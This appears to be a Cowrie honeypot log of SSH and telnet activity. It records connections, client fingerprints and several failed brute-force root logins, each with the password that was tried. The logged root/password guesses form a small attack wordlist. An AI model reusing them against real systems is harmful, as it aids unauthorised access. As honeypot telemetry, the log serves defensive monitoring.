{"eventid":"cowrie.session.closed","duration":91.11936974525452,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:10.865599Z","src_ip":"152.42.224.71","session":"5d03d3a002f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33310,"dst_ip":"10.17.0.5","dst_port":23,"session":"6748faaaf7d7","protocol":"telnet","message":"New connection: 152.42.224.71:33310 (10.17.0.5:23) [session: 6748faaaf7d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:15.999358Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":60612,"dst_ip":"159.203.135.109","dst_port":22,"session":"44bf8ce2d91e","protocol":"ssh","message":"New connection: 68.183.236.1:60612 (159.203.135.109:22) [session: 44bf8ce2d91e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:19.736526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:19.741644Z","src_ip":"68.183.236.1","session":"44bf8ce2d91e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:19.978818Z","src_ip":"68.183.236.1","session":"44bf8ce2d91e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.25465989112854,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:20.234687Z","src_ip":"152.42.224.71","session":"9116ef809afb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin00","message":"login attempt [root/admin00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:20.959063Z","src_ip":"68.183.236.1","session":"44bf8ce2d91e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:22.202382Z","src_ip":"68.183.236.1","session":"44bf8ce2d91e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00288701057434,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:24.071533Z","src_ip":"152.42.224.71","session":"341bbdd82488","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46798,"dst_ip":"10.17.0.5","dst_port":23,"session":"755cd01b9dab","protocol":"telnet","message":"New connection: 152.42.224.71:46798 (10.17.0.5:23) [session: 755cd01b9dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:26.011342Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46810,"dst_ip":"10.17.0.5","dst_port":23,"session":"927c23b3d7d6","protocol":"telnet","message":"New connection: 152.42.224.71:46810 (10.17.0.5:23) [session: 927c23b3d7d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:31.990392Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":46856,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f02c943e12c","protocol":"ssh","message":"New connection: 45.78.230.231:46856 (10.17.0.5:22) [session: 2f02c943e12c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:32.624152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:32.629314Z","src_ip":"45.78.230.231","session":"2f02c943e12c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:32.867542Z","src_ip":"45.78.230.231","session":"2f02c943e12c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.34.13","src_port":33526,"dst_ip":"159.203.135.109","dst_port":22,"session":"08944dfadbb2","protocol":"ssh","message":"New connection: 43.133.34.13:33526 (159.203.135.109:22) [session: 08944dfadbb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:33.560719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:33.564970Z","src_ip":"43.133.34.13","session":"08944dfadbb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:33.810350Z","src_ip":"43.133.34.13","session":"08944dfadbb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46824,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8acee678bcb","protocol":"telnet","message":"New connection: 152.42.224.71:46824 (10.17.0.5:23) [session: c8acee678bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:34.574301Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"lennon","message":"login attempt [root/lennon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:34.824975Z","src_ip":"43.133.34.13","session":"08944dfadbb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:35.909985Z","src_ip":"45.78.230.231","session":"2f02c943e12c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:36.078244Z","src_ip":"43.133.34.13","session":"08944dfadbb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.241","src_port":34820,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4f07df20316","protocol":"ssh","message":"New connection: 37.143.61.241:34820 (159.203.135.109:22) [session: d4f07df20316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:45.443807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:45.448748Z","src_ip":"37.143.61.241","session":"d4f07df20316","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:45.531524Z","src_ip":"37.143.61.241","session":"d4f07df20316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"columbia","message":"login attempt [root/columbia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:45.892371Z","src_ip":"37.143.61.241","session":"d4f07df20316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":111.52631974220276,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:46.443655Z","src_ip":"152.42.224.71","session":"0d4b8fdfeed8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.02904653549194,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:46.744224Z","src_ip":"152.42.224.71","session":"1ab79edc780c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.076070070266724,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:46.853711Z","src_ip":"152.42.224.71","session":"4848c4781848","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:46.978189Z","src_ip":"37.143.61.241","session":"d4f07df20316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":50740,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ea279417ddb","protocol":"ssh","message":"New connection: 103.172.78.219:50740 (159.203.135.109:22) [session: 2ea279417ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:47.077517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:47.082477Z","src_ip":"103.172.78.219","session":"2ea279417ddb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:47.347334Z","src_ip":"103.172.78.219","session":"2ea279417ddb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sirius","message":"login attempt [root/sirius] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:48.138171Z","src_ip":"103.172.78.219","session":"2ea279417ddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59400,"dst_ip":"10.17.0.5","dst_port":23,"session":"1235907b1013","protocol":"telnet","message":"New connection: 152.42.224.71:59400 (10.17.0.5:23) [session: 1235907b1013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:48.740032Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:49.402651Z","src_ip":"103.172.78.219","session":"2ea279417ddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.52.132.30","src_port":46622,"dst_ip":"159.203.135.109","dst_port":22,"session":"5767628e143f","protocol":"ssh","message":"New connection: 72.52.132.30:46622 (159.203.135.109:22) [session: 5767628e143f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:50.920675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:50.926094Z","src_ip":"72.52.132.30","session":"5767628e143f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:50.957816Z","src_ip":"72.52.132.30","session":"5767628e143f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nada","message":"login attempt [root/nada] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:51.125574Z","src_ip":"72.52.132.30","session":"5767628e143f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59404,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dbedef7b396","protocol":"telnet","message":"New connection: 152.42.224.71:59404 (10.17.0.5:23) [session: 8dbedef7b396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:51.877042Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:52.161785Z","src_ip":"72.52.132.30","session":"5767628e143f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":55956,"dst_ip":"10.17.0.5","dst_port":22,"session":"103f8672c18f","protocol":"ssh","message":"New connection: 181.47.9.103:55956 (10.17.0.5:22) [session: 103f8672c18f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:52.693094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:52.698910Z","src_ip":"181.47.9.103","session":"103f8672c18f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:52.846930Z","src_ip":"181.47.9.103","session":"103f8672c18f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"WW123456.","message":"login attempt [root/WW123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:53.451877Z","src_ip":"181.47.9.103","session":"103f8672c18f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:54.599384Z","src_ip":"181.47.9.103","session":"103f8672c18f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.79686164855957,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:00.796096Z","src_ip":"152.42.224.71","session":"6748faaaf7d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53804,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ee886705c45","protocol":"telnet","message":"New connection: 152.42.224.71:53804 (10.17.0.5:23) [session: 1ee886705c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:02.137767Z"}
{"eventid":"cowrie.session.closed","duration":36.592609882354736,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:02.603861Z","src_ip":"152.42.224.71","session":"755cd01b9dab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.79779291152954,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:13.788074Z","src_ip":"152.42.224.71","session":"927c23b3d7d6","protocol":"telnet"}
